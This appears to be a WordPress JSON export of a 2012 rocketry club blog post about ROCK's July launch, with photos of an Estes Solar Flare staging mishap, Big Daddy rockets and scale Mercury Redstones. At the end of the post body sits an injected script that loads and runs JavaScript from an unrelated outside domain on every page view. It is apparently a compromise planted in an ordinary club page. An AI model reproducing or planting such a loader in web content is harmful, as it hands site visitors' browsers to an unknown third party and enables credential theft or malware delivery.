{"id":138,"date":"2012-07-08T13:32:37","date_gmt":"2012-07-08T17:32:37","guid":{"rendered":"http:\/\/www.orlandorocketry.com\/?p=138"},"modified":"2025-11-21T15:12:11","modified_gmt":"2025-11-21T20:12:11","slug":"rocks-july-launch","status":"publish","type":"post","link":"https:\/\/orlandorocketry.com\/?p=138","title":{"rendered":"ROCK&#8217;s July Launch"},"content":{"rendered":"<p>Light winds produced a good day for flying rockets as ROCK held its monthly launch on July 7.<\/p>\n<p><a title=\"ROCK's July Launch\" href=\"http:\/\/www.rocketreviews.com\/july-2011-launch-4333.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone aligncenter\" title=\"Brian Announces the First Launch\" src=\"http:\/\/www.rocketreviews.com\/image-announcing-the-first-launch-600-600-070612132608340.jpg\" alt=\"\" width=\"600\" height=\"361\" \/><\/a><\/p>\n<p style=\"text-align: left;\">Brian\u00a0delivered the safety briefing then announced the first flight.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-10-32-003jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone aligncenter\" title=\"Solar Flare Lift-Off\" src=\"http:\/\/www.rocketreviews.com\/image-estes-solar-flare-lift-off-600-600-070812133808778.jpg\" alt=\"\" width=\"600\" height=\"357\" \/><\/a>The two-stage Estes Solar headed straight up.\u00a0 But, just as the first stage motor burned out, it &#8230;<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-10-32-008jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"Estes Solar Flare\" src=\"http:\/\/www.rocketreviews.com\/image-estes-solar-flare-takes-a-left-turn-600-600-071112133308184.jpg\" alt=\"\" width=\"430\" height=\"600\" \/><\/a><\/p>\n<p style=\"text-align: left;\">&#8230;\u00a0took a sharp left turn.\u00a0 Then &#8230;.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-10-32-010jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone aligncenter\" title=\"Solar Flare Staging\" src=\"http:\/\/www.rocketreviews.com\/image-estes-solar-flare-staging-600-600-071212135408192.jpg\" alt=\"\" width=\"600\" height=\"450\" \/><\/a>\u00a0&#8230; the second stage motor fired sending the two stages off in opposite directions.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-10-32-011jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"Estes Solar Flare\" src=\"http:\/\/www.rocketreviews.com\/image-estes-solar-flare-just-after-staging-600-600-071412132008690.jpg\" alt=\"\" width=\"600\" height=\"450\" \/><\/a><\/p>\n<p style=\"text-align: center;\">\u00a0<a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-10-39-003jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"Mega Mosquito Lift-Off\" src=\"http:\/\/www.rocketreviews.com\/image-estes-mega-mosquito-lift-off-600-600-071712133408382.jpg\" alt=\"\" width=\"450\" height=\"600\" \/><\/a><\/p>\n<p style=\"text-align: left;\">Our launch pads sported new number signs\u00a0designed and printed by <a href=\"http:\/\/www.klageskreations.com\/\">Klages Kreations<\/a>\u00a0and donated to the club\u00a0by Bracha and I.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-11-02-003jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"Scout Daddy Big Daddy\" src=\"http:\/\/www.rocketreviews.com\/image-scout-dad-big-daddy-600-600-072112132808958.jpg\" alt=\"\" width=\"381\" height=\"600\" \/><\/a><\/p>\n<p style=\"text-align: left;\">Several Big Daddy rockets took to the sky including the &#8220;Scout Dad&#8221; and the &#8230;<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-12-00-001jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"Peanut Butter and Jelly\" src=\"http:\/\/www.rocketreviews.com\/image-2012-07-07-12-00-001jpg-600-600-072712131308258.jpg\" alt=\"\" width=\"450\" height=\"600\" \/><\/a><\/p>\n<p style=\"text-align: left;\">&#8220;Peanut Butter and Jelly.&#8221;<\/p>\n<p><a href=\"http:\/\/www.rocketreviews.com\/2012-07-07-11-08-000jpg.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone aligncenter\" title=\"A Pair of Mercury Redstones\" src=\"http:\/\/www.rocketreviews.com\/image-2012-07-07-11-08-000jpg-600-600-072312135808657.jpg\" alt=\"\" width=\"600\" height=\"450\" \/><\/a><\/p>\n<p style=\"text-align: left;\">Two scale Mercury Redstone rockets flew; one right after the other.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.rocketreviews.com\/july-2011-launch-4333.html\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" title=\"July ROCK Launch\" src=\"http:\/\/www.rocketreviews.com\/image-2012-07-07-11-42-000jpg-600-600-073012132008254.jpg\" alt=\"\" width=\"600\" height=\"450\" \/><\/a><\/p>\n<p style=\"text-align: left;\">Please visit the\u00a0<a href=\"http:\/\/www.rocketreviews.com\/july-2011-launch-4333.html\">ROCK\u00a0Launch\u00a0Photo Album<\/a> at RocketReviews.com to see more photographs of the <a href=\"http:\/\/www.rocketreviews.com\/july-2011-launch-4333.html\">July ROCK launch<\/a>.<\/p>\n<p style=\"text-align: left;\">\n<p><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Light winds produced a good day for flying rockets as ROCK held its monthly launch on July 7. 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